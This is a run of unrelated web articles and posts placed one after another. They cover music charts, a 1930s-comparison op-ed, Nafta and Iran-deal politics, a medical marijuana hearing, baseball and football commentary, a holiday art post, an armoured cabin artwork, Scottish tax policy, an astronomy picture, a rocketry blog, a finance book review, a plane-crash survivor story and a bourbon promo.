Eminem's rise to No. 1 also ends a drought among rappers atop the Artist 100. Four solo rappers crowned the chart in 2017, with JAY-Z being the most recent on the Aug. 5-dated ranking. Kendrick Lamar, Drake and Future also hit No. 1 in 2017.
Album sales contribute the majority of Eminem's Artist 100 points (60 percent), followed by digital song sales (20 percent).
On the Billboard Hot 100, Eminem charts three songs from Revival: "River," featuring Ed Sheeran, debuts at No. 11; "Walk on Water," featuring Beyoncé, re-enters at No. 87 (after previously peaking at No. 14); and "Believe" enters at No. 92.
Rounding out the Artist 100's top five, Sheeran dips to No. 2 after six (nonconsecutive) weeks at No. 1; Taylor Swift falls 2-3; Post Malone rises 5-4; and Pentatonix drops 3-5.
Among other Artist 100 moves, G-Eazy hits a new peak, vaulting 34-6, as his The Beautiful & Damned arrives at No. 3 on the Billboard 200 with 122,000 equivalent album units.
Check out this week's full Artist 100 here.Things are happening with machine-gun rapidity: Brexit, the Turkish coup, Islamist massacres in France, the surrounding of Aleppo, the nomination of Donald Trump. From the USA to France to post-Brexit Britain, the high levels of public racism and xenophobia, reflected now in the outpourings of politicians with double-digit poll ratings, have got people asking: is it a rerun of the 1930s?
On the face of it, the similarities are real. Britain’s vote to leave the EU parallels its panicked decision to quit the gold standard in September 1931 – the first major country to quit the global economic system. Labour’s incipient split mirrors the one that left the party out of power for 14 years. And of course the economic background – a depression and a banking crisis – has echoes in the present situation.
But a proper study of the 1930s reveals our situation today to be better and more salvageable in many ways, although in one respect worse.
Following the Wall Street crash of 1929, the economic downturn took hold in 1931, with the failure of banks on both sides of the Atlantic, the imposition of austerity measures on already-weak economies, the resort to tariffs, currency blocks and economic nationalism. The fact that elites advocated mass unemployment, as a downward pressure on wages, created the firewood; overtly militarised and genocidal fascist groups lit the spark. It took just two years from Hitler’s first electoral breakthrough in 1930 for the Nazi party to score 37% in an election.
Then you get the million-strong far-right demonstration in Paris in 1934; the rising of the Asturian miners in Spain, put down by the army; German rearmament beginning in 1935. The Spanish civil war starts in 1936 – while, in the same year, workers in both France and the US stage mass occupations of factories, and Stalin begins the great purge.
It is here that the 30s take their essential shape: the surrender of democracy, the certainty of war – and the march to mass civilian death.
For us today, the single biggest positive difference is that we start from a globalised world economy. We begin from a qualitatively more interdependent economic system, in which autarky is widely understood – even by politicians who would like to try it – as suicide.
It was this realisation that forced the disoriented elites at the London and Cannes G20 conferences in 2009 and 2011 to coordinate extraordinary stimulus measures to stave off a 1930s-style breakdown. Those, myself included, who paced around the edges of these events declaring the action inadequate should admit – despite the inadequacy – that they acted in the right spirit. The elite rejected “pro-cyclical” economics of the kind that plunged the US into depression and Germany into fascism. Everywhere, that is, except Europe – and, even in Europe, far-right extremism has been held at bay until now.
The problem is, politically, we have in one sense gone beyond the 1930s.
Force yourself to listen to the subtexts of social media: the organised hatred against black female actor Leslie Jones, the anonymous racism and misogyny, the habitual fusion of anti-left and anti-Islam hate. Force yourself – maybe just once – to watch what some people are watching every day: black kids murdered by US cops; Syrian kids blown to pieces by Assad, or Russia or the US airforce; bloggers crucified in public by Isis, the mangled bodies of French partygoers on the Nice seafront.
When Franco’s troops took Badajoz, and put 2,000 of its inhabitants against the wall in the early days of the Spanish civil war, the Wehrmacht’s military observer was so disgusted that he advised German troops should never be allowed to serve alongside Franco’s lest they become “brutalised”.
Today, an entire generation of humanity has been brutalised – whether it experiences mass slaughter, rape and torture firsthand, or whether it simply sees the pictures and hears the stories. If you read any memoir from the 30s and the war years, there is almost always a moment of realisation: what a cadaver looks like; that prisoners can be shot; that the Geneva conventions may be flouted.
Sadly, in sheer brutality, we are past the 1930s – and in the struggle between governments and civilian populations the Geneva conventions do not apply.
The worst thing about the present – and millions of people feel it – is the momentum towards catharsis. It is impossible to imagine everything dying back to a boring stasis.
When you watch Erdoğan’s goons marching lifelong democratic journalists to jails where, as Amnesty International reports, beatings, torture and rape are routine, it becomes possible to imagine these things happening in other nominal democracies.
On the face of it, we have two things the 1930s lacked. We have billions of educated and literate brains on the planet; and we have the concept of universal and inalienable human rights.
When, at the start of this unrest, I read Stephane Hessel’s Indignez Vous! (Time for Outrage) – one of the pamphlets that inspired the Occupy protests – I wondered why he dwelt so long on the Universal Declaration of Human Rights.
Hessel had been a French resistance fighter and helped write the 1948 declaration. In an address to the youth of the tent camps in 2008, he spends several long paragraphs explaining why they fought so hard for the word “universal” and not “international”: “That is how to forestall the argument for full sovereignty that a state likes to make when it is carrying out crimes against humanity on its soil.”
Hessel’s generation understood that – even if it were all a figleaf for US hegemony – a global and universal system of human rights would leave a lasting legacy. Today, when a journalist or NGO worker stumbles on the scene of a massacre, they think – if they have been trained right – about evidence-gathering for a court first, the sensational scoop second.
So, no. This is not the 1930s with drones and trolls. We have – and must defend – a resilient global system. One glance at an uncensored social media timeline will tell you what happens if we let go of that.Trust: Just a five-letter word, but one that carries more weight in this world than any could fathom. What happens when sabotage, deceit, and betrayal push trust to the breaking point? When Midael and Abaddon, two enhanced humans (Chimaeras: Midael with 15' long metal wings that shoots out like daggers, Abaddon/Job with a 15' long metal tail can manipulate energy), become part of a high-stakes and violent game of cat-and-mouse. Each Chimaera learns just how much trust can be lost when everyone they meet has an agenda. Soon, the two must change their own agendas as they are dragged further into a chaotic realm of hatred, illusion, and death. When the pieces finally fall into place, where will their allegiances lie? As trust becomes merely a myth, will they find themselves becoming part of the very organizations that sought to use them, or will they break free and seek out destinies of their own making? Written by Johnny K. WuENLARGE Donald Trump, right, with Mexican President Enrique Peña Nieto in Mexico City in August, during the U.S. presidential campaign. Mr. Trump has threatened to pull the U.S. out of Nafta if Mexico doesn’t agree to modifications. Photo: jorge nunez/European Pressphoto Agency.
Rather than kill Nafta, Donald Trump and his advisers appear set to push for substantial changes to the rules governing trade with Mexico and Canada, an effort that could prove difficult to negotiate and perilous to the regional economy.
The president-elect vilified the North American Free Trade Agreement during the campaign and threatened to pull the U.S. out of the trade deal—but only if Mexico doesn’t agree to substantial modifications.
Mr. Trump hasn’t released a blueprint for his new vision of Nafta, but his comments and those of his advisers suggest they want to make big changes. Among the likeliest would be special tariffs or other barriers to reduce the U.S. trade deficit with Mexico and new taxes that would hit American firms that have moved production there. His team may also seek to remove a Nafta provision that allows Mexican and Canadian companies to challenge U.S. regulations outside the court system.
How Trump Will Recast Global Trade Your browser does not support HTML5 video. 0:00 / 0:00 Skip Ad in 15 U.S. president-elect Donald Trump promised nothing less than a restructuring of the rules of global trade—a system that has underpinned growth, but that has also cost America manufacturing jobs. The question is how much of the promised change will become reality. Photo: Getty Images.
Soon after he takes office, Mr. Trump is set to ask government officials to examine the ramifications of abandoning Nafta, according to a transition-team memo, CNN reported. Longstanding disputes between the U.S. and its neighbors—including country-of-origin labels for beef and Canada’s softwood-lumber exports—could be addressed in a revised Nafta, according to the memo.
The stakes are high. The U.S. imported and exported a total of $1.1 trillion in merchandise to and from Canada and Mexico last year, compared with about $700 billion with the European Union and $600 billion with China.
Canada and Mexico are intertwined in a complex system of supply chains, with some components crossing borders more than once before the final product is sold to consumers. Breaking up Nafta would upend numerous industries, and the biggest victim would be Mexico, which promotes itself as a platform offering global manufacturers duty-free access to the U.S.
APEC 2016: Keep Calm and Carry on Trading The main takeaway from the APEC summit of 21 nations, which includes the U.S., China, Japan and Mexico, was that countries should keep strengthening economic ties, regardless of the mood in the U.S. Photo: Zuma Press.
Mexican officials say they are willing to update the 22-year-old treaty, including adding new chapters on e-commerce and other aspects that didn’t exist in the mid-1990s. Mexico would also sign on to any pledge to prevent currency manipulation given that it has a free-floating currency.
But Mexican officials are wary of revisiting tariffs and export quotas.
“We can’t get lost in an old debate about traditional tariffs…that’s a debate from the last century,” Economy Minister Ildefonso Guajardo told a business conference earlier this month. Reopening the treaty would create “a long line” of special interests in all three countries trying to get protection, he added.
Jaime Serra, Mexico’s trade minister when Nafta was negotiated, said that steps like agreeing to voluntarily restrict exports should be off the table. Export quotas, he said, would be ‘the beginning of pure protectionism, and it would be shooting both of our countries in the foot.”
ENLARGE.
Concluded in the George H.W. Bush administration and enacted with amendments under former President Bill Clinton, Nafta eliminated tariffs among the North American countries over time and set rules of the road for investment, labor and the environment.
Mr. Trump repeatedly warned of across-the-board, double-digit tariffs on imports from Mexico to reduce the trade deficit, which he links to the loss of manufacturing jobs. While Congress has given the president the ability to levy big emergency tariffs, they could eventually be challenged at the World Trade Organization.
Mr. Trump’s brash warnings to trading partners may be just the opening bid in negotiations that could end with relatively low tariffs or other barriers to Mexican goods.
Mr. Trump and his aides appear fixated on the U.S. trade deficit—$61 billion last year with Mexico alone—and ways it could be reduced.
Some Democrats and labor groups have also embraced blunt measures to reduce the trade deficit. The House Democrats who led the opposition to President Barack Obama’s Pacific trade agreement said they’re willing to work with Mr. Trump on a more balanced trade policy.
Rep. Brad Sherman (D., Calif.) suggests negotiating within the framework of Nafta the option for Washington to impose special tariffs of up to 4% on Mexican goods to reduce the bilateral trade deficit to $25 billion, excluding oil and agricultural goods. “Good neighbors have balanced trade relationships,” Mr. Sherman said.
Besides traditional trade barriers, enforcement cases and tariffs, Mr. Trump and his advisers have discussed special taxes that could be levied on goods produced by U.S. companies that have moved production off shore.
Among various tax plans, one supported by House Republicans would raise money off goods imported into the U.S., in a similar fashion to the value-added tax that affects American products sold abroad. The “destination-based cash-flow tax” could be challenged at the WTO, but Mr. Trump’s advisers say they will use Washington’s leverage at the Geneva-based trade body to change the treatment of VAT and other border-adjusted taxes.
Some experts following Mr. Trump’s trade plans say he is likely to negotiate removing some Nafta provisions that have grown increasingly unpopular, such as an international arbitration system known as investor-state dispute settlement.
The arbitration, codified in Nafta’s chapter 11, allows investors from one country to sue the government of another country and obtain compensation outside the traditional court system when their rights are violated or their property is seized.
If Mr. Trump doesn’t get what he wants in the talks, as president he has the authority to pull the U.S. out of Nafta in a matter of months and could do so, perhaps warning about such a move in his first days in office, lawyers say. If the U.S. leaves Nafta, then the two-decade-old agreement could be replaced with bilateral trade agreements, which Trump advisers say they prefer to multilateral tie-ups.
Write to William Mauldin at William Mauldin at william.mauldin@wsj.com and David Luhnow at david.luhnow@wsj.com
Corrections & Amplifications:
The Economy Minister of Mexico is Ildefonso Guajardo. An earlier version of this article incorrectly spelled his first name as Ildelfonso. (11/21/16)SALEM -- Marijuana is not just the best drug, it's the only drug that consistently helps people suffering from post-traumatic stress disorder, a parade of doctors, researchers and veterans told a panel of lawmakers Thursday.
At issue is
, which would add PTSD, as it's commonly called, to the list of qualifying conditions for medical marijuana use in Oregon.
"We have failed to find any medications at this point that provide consistent benefits" for the thousands of war veterans and others who suffer from the disorder, said Bryon Krumm, a psychiatric nurse practitioner at the
in Albuquerque, New Mexico. "It's all pretty much been a crap shoot up to this point."
Marijuana, however, has been shown to soothe anxiety, help with sleep and calm suicidal urges, Krumm said. Other physicians from Oregon and around the country, some speaking to the committee by phone, concurred.
Doctors have found that treating PTSD patients with marijuana -- a relatively inexpensive and non-toxic drug -- has helped replace anti-psychotic medication and alcohol as a way to cope, said Dr. Frank Lucido, of Berkeley.
The
held a hearing on the bill to get clinical advice. The bill next goes to the Senate Judiciary Committee for legal questions.
Among the speakers at the 2 1/2-hour hearing was Jose Garza, a vet who recently got out of the military and has had trouble controlling his anger. After he started smoking marijuana, he said, his life improved dramatically.
"I'm not a hippie, I'm not a stoner. I'm not a criminal," Garza said. "I'm a United States veteran, and this is what saved my life."
–2017 Farm System Rankings
Be careful with lists like this. As with everything it is a moving target and the general tiers are more important than exact placement. Also remember that the rankings refer to talent currently in the minor league system, or players on the projected big league roster who are still rookies entering 2017. A team could be in a down phase cycle on the farm but still have a talented young MLB roster (the Cubs) and a good reputation for talent development.
The lists look for a balance between upside and broader depth. This is based on my personal opinion and analysis. All responsibility for good or ill is mine.
ELITE: These organizations clearly rank as the top group in my opinion, though you could quibble about the exact placements.
1) Atlanta Braves: Particularly strong up the middle and in pitching but could use more power bats; in general the depth here is very impressive and the system is greatly improved compared to three years ago. Click here for overview. 2015 Rank: 12th; 2016 Rank 2nd.
2) New York Yankees: Actually have more hitters than the Braves, but pitching isn’t quite as good in upside terms; you can make a case to rank the Yankees ahead. Both are certainly elite. Trades improved depth here. Click here for overview. 2015 Rank: 13th; 2016 Rank 14th
3) San Diego Padres: Dramatic improvement over the last 18 months thanks to trades and heavy Cuban prospect investment with a nice mixture of upside and depth. Click here for overview. 2015 Rank: 25th; 2016 Rank 23rd
4) Chicago White Sox: Another rapid turnaround thanks mainly to trades, with pitching depth the main strength. Click here for overview. 2015 Rank: 23rd; 2016 Rank 24th
5) Pittsburgh Pirates: Another system with impressive pitching led by Tyler Glasnow and Mitch Keller. Click here for overview. 2015 Rank: 7th; 2016 Rank 12th
STRONG: These organizations may not have quite as much firepower or depth as the top five, but they should be considered very productive with a chance to move into the top group soon.
6) Colorado Rockies: Coors Field presents a unique set of player development challenges. I am higher on the Rockies system than other observers but I like the mix of position players and their pitchers would get more respect if they were heading into a more neutral environment. Click here for overview. 2015 Rank: 9th; 2016 Rank 4th.
7) Milwaukee Brewers: Another system improved dramatically over the last 18-24 months with trades and more robust drafting. Would look even better if not for a few disappointing bats last year. Overview. 2015 Rank 24th; 2016 Rank 5th
8) St. Louis Cardinals: In my opinion this system is under-rated by many observers, despite the loss of Alex Reyes; good mix of hitting and pitching, upside and polish. Overview. 2015 Rank: 15th; 2016 Rank 15th
9) Philadelphia Phillies: Sense a persistent theme here? This is another club that has improved rapidly compared to two years ago; good depth in C+/B- types. Overview. 2015 Rank: 20th; 2016 Rank 10th.
10) Cleveland Indians: Like the Cardinals, the Indians strike me as generally under-rated; a balanced system with a mix of pitching, power bats, and speed. Overview. 2015 Rank: 21st; 2016 Rank 13th
SOLID: This is the broad mass of farm systems that are neither extremely strong nor especially weak. Some have good impact talent but need more depth, others have depth but need more potential stars. These systems have nothing to be ashamed of.
11) Houston Astros: Broad array of talent with outstanding depth. The Astros have a case as high as sixth. Overview. 2015 Rank: 10th; 2016 Rank 3rd.
12) Tampa Bay Rays: Very solid overall, although where you want to rank this system exactly depends on how you view "eye of the beholder" type prospects like Jose De Leon and Casey Gillaspie. Overview. 2015 Rank: 19th; 2016 Rank 9th.
13) Los Angeles Dodgers: Thinned compared to last year due to trades and graduations, but they should recharge quickly. Watch out for Yadier Alvarez. Overview. 2015 Rank: 4th; 2016 Rank: 1st.
14) Cincinnati Reds: A generally solid system with good mid-range depth, though not quite as much impact talent as some of the club ahead of them. Overview. 2015 Rank: 14th; 2016 Rank 11th.
15) Minnesota Twins: Thinned compared to two years ago due to graduations but I think they stabilize here and start moving back up soon. Overview. 2015 Rank: 3rd; 2016 Rank 8th
16) Oakland Athletics: On the upswing over last two years although not as much as some clubs; much depends on how fatigued you are with Renato Nunez and Matt Olson; don’t underestimate the pitching. Overview. 2015 Rank: 27th; 2016 Rank 18th
17) San Francisco Giants: The Giants never seem to rank highly on lists like this but they churn out players year after year and have a knack for getting the most out of Grade C+ type prospects. I made the same comment last year but it still applies, as it does every year. Overview. 2015 Rank: 22nd; 2016 Rank 20th
18) Chicago Cubs: Like the Twins, the Cubs should stabilize here and start moving back up the rankings as next wave moves up. Overview. 2015 Rank: 1st; 2016 Rank 16th
19) Toronto Blue Jays: Although ranked 19th this cannot be considered a "below average" system and has a case as high as 12th. Expect impact from Vlad Guerrero Jr and Sean Reid-Foley although overall depth not as broad as some. Overview. 2015 Rank: 8th; 2016 Rank 25th
20) New York Mets: As with the Jays, this shouldn’t be considered an insult; I am quite high on Amed Rosario and Robert Gsellman, but would like to see more impact depth; if Andres Gimenez and Gregory Guerrero thrive as they move up, this will improve quickly. Overview. 2015 Rank: 6th; 2016 Rank 21st
SO-SO: These are systems that have weaknesses but are not hopeless. Some could improve into solidness soon; others are reputable systems in a temporary down phase.
21) Texas Rangers: Good mix of C+ types but not as much impact/upside as typical for the Rangers; I imagine this is cyclical and will improve quickly. Overview. 2015 Rank: 5th; 2016 Rank 7th.
22) Washington Nationals : Big trade with the White Sox tore the top off this farm system. Watch out for Juan Soto, outfielder with excellent bat. Overview. 2015 Rank: 16th; 2016 Rank 17th
23) Seattle Mariners: Good news is improvement from some hitting prospects after disastrous 2015. Max Povse and Robert Whalen over from Braves should make quick impact on mound. Overview. 2015 Rank: 17th; 2016 Rank 26th
24) Boston Red Sox: I love Andrew Benintendi and Rafael Devers but trades have emptied this system from what it would otherwise be. There's still decent depth in C+ types. Certainly not a weak system but needs some time to recharge. Overview. 2015 Rank: 2nd; 2016 Rank 6th.
THIN: These systems have a weaker current minor league talent base than the ones ahead of them and will take more time and focused effort to recharge.
25) Kansas City Royals: In my view there is a big drop-off between the Red Sox and Royals. A shadow of what this was before the post-season runs. Overview. 2015 Rank; 18th; 2016 Rank 22nd
26) Detroit Tigers: As usual the Tigers rank low on the farm system list. As usual they have some power arms with several who could fit in pen, as well as depth in potentially good role players. Christin Stewart looks like only impact bat. Overview. 2015 Rank: 30th; 2016 Rank 28th
27) Baltimore Orioles: Like the Tigers, the Orioles usually rank low on these lists and that hasn't changed this year. There are some interesting players like Trey Mancini and Chance Sisco, but when one of your top 10 prospects is a Rule 5 pick, your farm system isn't thriving. Overview. 2015 Rank: 26th; 2016 Rank 27th
28) Los Angeles Angels: This system needed a complete rebuild after years of neglect. There are signs of life, enough to move them out of the basement, Overview. 2015 Rank 28th; 2016 Rank 30th
29) Arizona Diamondbacks: Lacks impact talent and overall depth is disappointing |
a tight ship, so won’t try and buy their way out of trouble in January.
There are also relegation concerns for Middlesborough. Karanka has already stated that staying up this year is their only goal. Palace look shakier than an Alan Pardew shuffle. Cracks have been appearing all over the Olympic Stadium, while sides like Burnley and West Brom will always be looking over their shoulders. Sunderland can also take heart from Stoke’s revival. The Potters are now 12th after a disastrous start.
NINE LIVES – EXPERIENCE OF SURVIVAL
What would the Premier League do without the yearly fight for survival by Sunderland. Most of their players have been through this before. Their finishing positions for the last four seasons read 17th, 16th, 14th, 17th. They’re the masters of the great escape and their owner, Ellis Short, has developed a knack of appointing managers that keep them up. Unfortunately for Moyes, that’s typically their second or third manager of the season.
Sunderland’s next game is a huge 3 pointer against Hull City at the Stadium of Light. Moyes will be looking to use the game as a springboard for upcoming games. If the Black Cats can gain some momentum, then they may avoid the dubious honour of being last at Christmas. Although, Leicester were propping up the table in December 2014, so there’s still hope for the Black Cats.
What are your thoughts? Do you think Sunderland will survive? Vote below: Will Sunderland stay up this season?
Images: SkySports (Defoe + Watmore)
Photo by Ronnie MacdonaldHello! Happy Holidays to everyone here! ^o^
This might be my last Christmas thing I’m gonna draw, but I’d like to dedicate it to those I’ve met this year, who have changed me for the better <3
To everyone here, I hope your holiday is as merry as many of the songs we sing put it out to be. As always, enjoy!
(Fun fact: Isabelle’s birthday is December 8th! So she’s very little in this image ^o^)
The people I’d like to mention, as well as say Happy Holidays to:
@cyberamethyst @judylavernehopps @ryutolbx @ihavewaytoomanyproblems @helthehatter @andyourteeth @cloudyloudy @fuzzywuzzylittletail @jihnglebam
Thank you for your kindness and your amazing personalities that you share with the world. I’d imagine that if I met none of you, I’d be a very different person. I know you won’t believe that, but it’s…very true. I think that’s the greatest gift I’ve gotten this year. When times got rough, all of you were there, and I will never forget that. Know that I’ll always try to be there for you as well, because we always need a little more love in this world.
Happy Holidays, again! <3 You don’t need to reblog this if you were tagged XD I just want to give you all a special thank you.Dutch studio Atelier Van Lieshout have created a mobile, indestructible dwelling with an armoured shell.
Made of steel plates reclaimed from boats, the living unit is furnished with benches, a toilet and a wood stove.
Called Vostok Cabin, the project was commissioned by Fondation 93 and is on show at the Cite de la Science in Paris until 13 March 2011.
See all our stories about Atelier Van Lieshout »
Here are some more details from Atelier Van Lieshout:
Atelier Van Lieshout, Vostok Cabin, 2010
Huge change is no longer in the past or future but in the present. Our society as we know it and have known to be safe is fast-changing.
Value systems of yesterday are no longer relevant. A new civilization is ahead of us. This ideological society offers choice; are we able to find alternate ways of living, another model or are our days counted?
The changing climate, growing poverty, wars and more are only expanding. This movable nomadic dwelling unit provides shelter from this disconcerting situation.
The armored shelter is made from old steel plates recuperated from demolished boats together with other leftover material from our current society.
The material due to its previous life is crooked, damaged and irregular. There is no straight edge to be constructed from these disastrous supplies.
The Cabin looks like an improvised defense/attack apparatus made by a local blacksmith in order to have a better chance of survival in times of revolution and civil war.
Inside you find an improvised toilet, woodstove, and benches. It is virtually indestructible.
See also:
.US Ambassador to the United Nations Nikki Haley has been deliberately ambiguous with regard to the Iran nuclear deal. No, she is not in favor of casting doubt on the legal basis of the agreement. But, as she told an audience at the conservative American Enterprise Institute think tank, one thing must be clear: Should Donald Trump decide to do so, then he would have firm ground to stand on.
Haley did not elaborate further on Trump's reasons for backing away from what, in her view, is a flawed deal. But she left little doubt that she believes it is time to re-examine the agreement. "We should at no time be beholden to any agreement and sacrifice the security of the United States to say that we'll do it," Haley said.
Warning against a self-created crisis
Haley's statements contradict the information provided by the International Atomic Energy Agency (IAEA). Last week, it declared that Iran was sticking to the terms of the deal, and that Tehran had not engaged in any uranium enrichment beyond the permitted levels.
Haley said that if Trump backs out of the Iran deal, he would have good reason to do so
Her comments were prompted by the upcoming October deadline for the US Senate to certify Iran's compliance. The president's skeptical stance on the Iran deal has long been a source of concern in Washington circles. "You can only tear up the agreement one time," said Republican Senator Bob Corker, warning that if it were to happen, the US would generate a self-created crisis. According to a report by The Washington Post newspaper, Secretary of State Rex Tillerson and Defense Secretary James Mattis have advised the president to leave the deal in place.
'A bad idea'
Withdrawing from the deal would be "a bad idea," according Los Angeles Times columnist Doyle McManus. However, he doesn't have much hope that Trump will continue to certify the agreement.
"Here's an international crisis you can, unusually, put on your calendar ahead of time," McManus wrote. Describing Trump's frustration that he couldn't just walk away from the deal, McManus says the president instructed his staff to come up with the excuses he needs to decertify. And he described that as an "Alice-in-Wonderland approach to foreign policy: Verdict first, evidence later."
Still, Trump has not had too much trouble finding influential people to support his position. "I don't think we get much benefit from the deal," said Republican Senator Tom Cotton, "so it collapsing doesn't trouble me all that much."
Others take a similar view but are pursuing a different strategy, which would be to decertify Iran while leaving the deal in place. According to Mark Dubowitz of the Foundation for the Defense of Democracies, simply pulling out of the deal "would allow Iran to play the aggrieved victim and alienate the Europeans."
The US helped negotiate the Iran nuclear deal in 2015
It's true that the Europeans would be less than happy if Trump were to present them with a fait accompli in this highly volatile issue. That's why Dubowitz believes in this third way, where decertification could build a sort of "rap sheet" against any of Iran's small violations of the deal. On this basis, it would become increasingly difficult for Iran to be able to stick to the agreement.
Diverging interests
Europe has no interest in any further upheaval in the Middle East. Cancellation of the nuclear deal could have the undesired effect of reviving other armament plans, including nuclear arms. It would also fan the flames of violence, and with it, the number of refugees. Without the nuclear deal, Iran would have no reason to restrain itself politically, and could likely embark on an even more aggressive course.
And were Iran to resume its nuclear program, this could awaken other regional states' interest in pursuing nuclear weapons. It would take years to put an end to such an arms race, if indeed that were even possible. And that means that in view of the Iran nuclear deal, American and European interests are clearly diverging.Party campaigned on policy to restore rate to those earning more than £150,000.
Parliament: Labour accused of 'hypocrisy' by SNP (file pic). © Deadline
Labour plans to force a Scottish Parliament vote on a higher top rate of tax for Scotland's richest.
The party's election campaign set out a policy to restore the 50p tax rate for people earning more than £150,000.
The SNP backed the move at the 2015 General Election but Nicola Sturgeon later ruled out a 50p income tax rate for the first year Holyrood has its new powers.
The Scottish Government gains control over income tax rates and bands in April 2017, as part of the devolution of new powers in the Scotland Bill.
Now, Scottish Labour has tabled an amendment in a bid to force a vote on the tax issue at Holyrood during a parliamentary debate on Thursday.
The Scottish Government motion for debate proposes "creating a fair and prosperous Scotland" and "using the new devolved powers" to tackle inequality, including building 50,000 affordable homes.
Labour's amendment adds that the parliament "recognises the need for a higher top rate of tax for the richest earners so that this can be redistributed to tackle wider inequalities" and increases the affordable homes target to 60,000.
Scottish Labour deputy leader Alex Rowley said: "This vote is an opportunity for the SNP to make a simple choice - they can work with the centre left parties like Labour to stop the cuts and invest in our public services, or support the Tories to carry on with austerity.
"Labour will make the case that we should use the new powers over tax to introduce a 50p top rate of tax on the richest 1% earning over £150,000 a year.
"It's the simple priorities we said we would adhere to in this parliament - tax the rich so we can invest in schools and stop the cuts to public services."
A spokesman for finance secretary Derek Mackay said: "We have already made clear we support a 50p tax rate in principle, and indeed we have not ruled it out in the longer term.
"But under the new tax powers being devolved we will not have control over tax avoidance, and independent advice tells us that, as a result, increasing the top rate now could actually end up costing the public purse.
"So it is for Labour to explain how they can guarantee their policy would not end up costing money - and potentially depriving public services in Scotland of millions of pounds.
"They are also guilty of appalling hypocrisy on this issue, as when the SNP pushed for a vote against scrapping the UK-wide 50p rate, Labour MPs were posted missing at Westminster and failed to support it."
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Download: The STV News app is Scotland's favourite and is available for iPhone from the App store and for Android from Google Play. Download it today and continue to enjoy STV News wherever you are.Astronomy Picture of the Day Discover the cosmos! Each day a different image or photograph of our fascinating universe is featured, along with a brief explanation written by a professional astronomer. 2012 May 25
Scorpius in Red and Blue
Image Credit & Copyright: John Davis
Explanation: Cosmic dust clouds dim the light of background stars. But they also reflect the light of stars nearby. Since bright stars tend to radiate strongly in the blue portion of the visible spectrum, and the interstellar dust scatters blue light more strongly than red, the dusty reflection nebulae tend to be blue. Lovely examples are the wispy blue reflection nebulae near bright, hot stars Pi and Delta Scorpii (upper left and lower right) in this telescopic skyscape from the head of the constellation Scorpius. Of course, the contrasting red emission nebulae are also caused by the hot stars' energetic radiation. Ultraviolet photons ionize hydrogen atoms in the interstellar clouds producing the characteristic red hydrogen alpha emission line as the electrons recombine. About 600 light-years away, the nebulae are found in the second version of the Sharpless Catalog as Sh2-1 (left, with reflection nebulae VdB 99) and Sh2-7. At that distance, this field of view is about 40 light-years across.Dear reader,
Since Copenhagen Suborbitals was founded in 2008 I have tried to spread the word internationally starting out with simple steps like website, paypal and facebook.
Even though the project will always be mostly Danish and the majority of our great supporters are from Denmark, we have this open approach and wanna let everyone join in on the ride and contribute with ideas and read about our technology. Personally, I have been traveling a lot and lived abroad and believe that everyone has the same desire for knowledge, challenges and exploration.
Later I was lucky to get the opportunity to blog here on Wired – my favorite magazine. To increase CS-contamination with high-speed incubation time I spread the word of blog posts, results and ideas on Twitter, Digg, StumbleUpon, Reddit, LinkedIn and lately Slashdot.
The many lasts posts on Slashdot has been promoted and last week they call me up and we ended up doing a video chat about Copenhagen Suborbitals – talking about low cost ideas, legal issues, Cameron Smiths space suit and much more. Please enjoy the Google-hangout with Slashdot on Wired.com!
If you happen to have more social media tricks – let me know!
Ad Astra
Kristian von BengtsonOn My Own Two Feet is one of many guides to personal finance specifically geared to women. While some people may assume that means the advice will be condescending or hollow, authors Thakor and Kedar are experts in the field who, even when they use a light tone, know what they're talking about.One reviewer said: "Despite the cheesy name and cover, this book has good, straightforward financial tips and lots of tables to help you see how much actual money you should be putting toward retirement, emergency savings, etc. Good tips about how to save for money you plan to spend in the next five years (savings account/money market account/CD) vs. money for retirement, and a financial action plan. A quick read because they get straight to the point."Read the full review here Another reviewer wrote : "This is the first book I have read that uses actual numbers. What I mean by that is instead of stating that the average starting salary is $41,000 and building a model budget off of that, or just telling everyone to spend a certain percentage of pay on certain items, the authors created a chart with a range of possible salaries from $20,000 to $100,000."Then, whenever they give a specific percentage suggestion (ex. car and related costs should be no more than 10% of your pay) they give you an actual dollar figure that equates to at each salary level. So as a reader you can find your pay level on the chart and easily determine your take home pay, how much to spend on necessities, how much to save, how much you can safely spend on a car, and how much $$$ you have left over for fun."One of my pet peeves is when personal finance writers provide savings benchmarks (ex.: Save 10% of your pay! Spend no more than 30% on home costs!) but don't specify whether that number is supposed to be a percentage of your net or gross income. This book avoids that pitfall. Everything is in terms of your gross income. Again, there is a chart in the back of the book this gives specific benchmarks based on gross income."Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Jan. 3, 2015, 9:58 PM GMT / Updated Jan. 4, 2015, 12:29 AM GMT
The 7-year-old girl who walked away from a small plane crash in western Kentucky that killed four members of her family used survival skills passed down by her father to find her way to safety, relatives told NBC News.
Sailor Gutzler was the sole survivor after her family's Piper twin-engine aircraft landed upside down in a wooded area in Lyon County on Friday, leaving her parents, sister and cousin dead. The plucky girl emerged from the plane, lit a stick from the burning wing and then — bloodied and with broken bones — walked through the cold darkness, her family said Saturday.
The strong-willed second-grader trekked three-quarters of a mile through the woods and a creek before she knocked on a homeowner's door for help.
Her father, Marty Gutzler, 48, was flying the aircraft in "inclement weather" when he made a distress call at about 5:55 p.m. CT Friday, Kentucky State Police said during a briefing Saturday. The four members of the Gutzler family and a 14-year-old cousin were returning from a Christmas vacation in Key West, Florida, to their home near Mount Vernon in southern Illinois.
Federal investigators began combing through the crash site Saturday to determine what led to the fatal flight.
The other passengers were identified as Gutzler's wife, Kimberly Gutzler, 46; their daughter, Piper Gutzler, 9; and her cousin, Sierra Wilder, 14.
Sailor's father, Marty Gutzler, had been flying since he was 16, logging about 4,000 hours, and taught as a flight instructor, family said. He had made that same trip from Florida to Illinois "many, many times," a family friend told NBC News.
The family owned Gutzler's Furniture, which Marty Gutzler's father opened more than 50 years ago in their hometown of Nashville, Illinois. Troy Dunbar, a 15-year employee and family friend, said the accident was a "big time" loss for the area. "This family is very embedded in the community," Dunbar said.
"She is a survivor — she was simply trying to get help for her family."
Forty minutes after air traffic control last heard from Gutzler's plane, police received a call from a resident who said he found a girl who claimed she had been in a plane crash and that her parents were dead. Larry Wilkins told NBC News the girl arrived on his doorstep wearing no shoes, just one sock and "dressed for Florida" with the nighttime temperature below 40 degrees.Bourbon: 5 Things You Didn't Know
5 Bourbon Facts You've Been Getting Wrong All Along
Page 1 of 2
AskMen has partnered with
to bring you July's Box of Awesome — a kit to barrel-age your own alcohol.
.
The box has everything you need but the booze. Here's a little bit of key info on one of our favorite brown liquors — and one that would work perfectly for aging your own drinks.
